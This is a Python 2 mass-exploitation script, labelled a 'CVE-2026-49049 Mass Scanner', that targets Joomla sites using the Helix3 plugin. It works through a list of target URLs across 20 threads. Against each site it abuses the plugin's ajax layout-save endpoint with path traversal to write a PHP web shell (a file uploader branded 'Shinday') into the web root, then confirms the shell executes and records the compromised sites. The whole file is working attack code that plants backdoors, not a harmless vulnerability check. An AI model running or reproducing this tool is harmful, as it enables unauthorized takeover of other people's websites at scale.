#!/usr/bin/env python2
# -*- coding: utf-8 -*-

import requests
import sys
import threading
from Queue import Queue
import time
import random
import string
import os

requests.packages.urllib3.disable_warnings()

THREADS = 20
PATHS = ['../../../', '../../../../']
RESULT_FILE = 'results.txt'
RAW_RESULT_FILE = 'rez.txt'
TIMEOUT = 5

queue = Queue()
lock = threading.Lock()
vulnerable_list = []
raw_list = []
processed_urls = set()

def safe_print(msg):
    with lock:
        print(msg)

def save_result(url, filename, file_type='vuln'):
    with lock:
        try:
            domain = url.replace('http://', '').replace('https://', '')
            output = "{}/{}\n".format(domain, filename.replace('.php', '.php.json'))
            
            if file_type == 'vuln':
                with open(RESULT_FILE, 'a') as f:
                    f.write(output)
            else:
                with open(RAW_RESULT_FILE, 'a') as f:
                    f.write(output)
        except:
            pass

def check_vulnerability(url):
    try:
        if not url.startswith(('http://', 'https://')):
            url = 'http://' + url
        url = url.rstrip('/')
        
        with lock:
            if url in processed_urls:
                return
            processed_urls.add(url)
        
        endpoint = url + "/index.php?option=com_ajax&plugin=helix3&format=json"
        
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        
        random_suffix = ''.join(random.choice(string.digits) for _ in range(6))
        timestamp = int(time.time())
        random_name = "tmp_{}_{}".format(timestamp, random_suffix)
        filename = random_name + '.php'
        
        content = """<?php
$s = "Shinday";
echo '<center><pre><br><br><h1 style="color:red;">'.$s.'</h1><br>'.php_uname()."\\n".'<br><br><br>';
echo '<form method="post" enctype="multipart/form-data">';
echo '<input type="file" name="file">';
echo '<input name="upload" type="submit" value="Upload">';
echo '</form>';
if(isset($_POST['upload'])){
    $tmp = $_FILES['file']['tmp_name'];
    $name = $_FILES['file']['name'];
    if(@move_uploaded_file($tmp, $name)){
        echo '<b style="color:green;">Upload success</b><br><br>';
        echo '<a href="'.$name.'" target="_blank">Click here</a>';
    } else {
        echo '<b style="color:red;">Upload failed</b>';
    }
}
?>"""
        
        for path in PATHS:
            filepath = path + filename
            
            payload = {
                'data[action]': 'save',
                'data[layoutName]': filepath,
                'data[content]': content
            }
            
            try:
                r = requests.post(endpoint, data=payload, headers=headers, verify=False, timeout=TIMEOUT, allow_redirects=False)
                
                if r.status_code == 200:
                    test_url = url + '/' + filename + '.json'
                    cek = requests.get(test_url, verify=False, timeout=TIMEOUT)
                    
                    if cek.status_code == 200:
                        response_text = cek.text
                        
                        if 'Shinday' in response_text and 'Upload' in response_text and '<?php' not in response_text:
                            safe_print("[+] VULNERABLE: {}".format(url))
                            save_result(url, filename, 'vuln')
                            with lock:
                                vulnerable_list.append(test_url)
                            return
                        elif 'Shinday' in response_text and 'Upload' in response_text and '<?php' in response_text:
                            safe_print("[*] RAW PHP: {}".format(url))
                            save_result(url, filename, 'raw')
                            with lock:
                                raw_list.append(test_url)
                            return
                        else:
                            continue
                    else:
                        continue
                else:
                    continue
                    
            except:
                break
        
        safe_print("[-] NOT VULNERABLE: {}".format(url))
            
    except:
        pass

def worker():
    while not queue.empty():
        url = queue.get()
        check_vulnerability(url)
        queue.task_done()
        time.sleep(random.uniform(0.1, 0.3))

def main():
    print("="*60)
    print("CVE-2026-49049 Mass Scanner")
    print("Results: {} (executed)".format(RESULT_FILE))
    print("Raw PHP: {} (not executed)".format(RAW_RESULT_FILE))
    print("="*60)
    print("")
    
    if os.path.exists(RESULT_FILE):
        os.remove(RESULT_FILE)
    if os.path.exists(RAW_RESULT_FILE):
        os.remove(RAW_RESULT_FILE)
    
    if len(sys.argv) < 2:
        print("Usage: python2 {} list.txt".format(sys.argv[0]))
        sys.exit(1)
    
    try:
        with open(sys.argv[1], 'r') as f:
            urls = [line.strip() for line in f if line.strip()]
        
        print("[*] Loaded {} targets".format(len(urls)))
        print("[*] Using {} threads".format(THREADS))
        print("")
        
        for url in urls:
            queue.put(url)
        
        threads = []
        for i in range(THREADS):
            t = threading.Thread(target=worker)
            t.daemon = True
            t.start()
            threads.append(t)
        
        queue.join()
        
        print("")
        print("="*60)
        print("[+] Selesai!")
        print("[+] Vulnerable: {}".format(len(vulnerable_list)))
        print("[+] Raw PHP: {}".format(len(raw_list)))
        
        if vulnerable_list:
            print("\n[+] Vulnerable URLs:")
            for url in vulnerable_list:
                print("    {}".format(url))
        
        if raw_list:
            print("\n[+] Raw PHP URLs:")
            for url in raw_list:
                print("    {}".format(url))
        
        print("="*60)
        
    except Exception as e:
        print("[-] Error: {}".format(str(e)))

if __name__ == "__main__":
    main()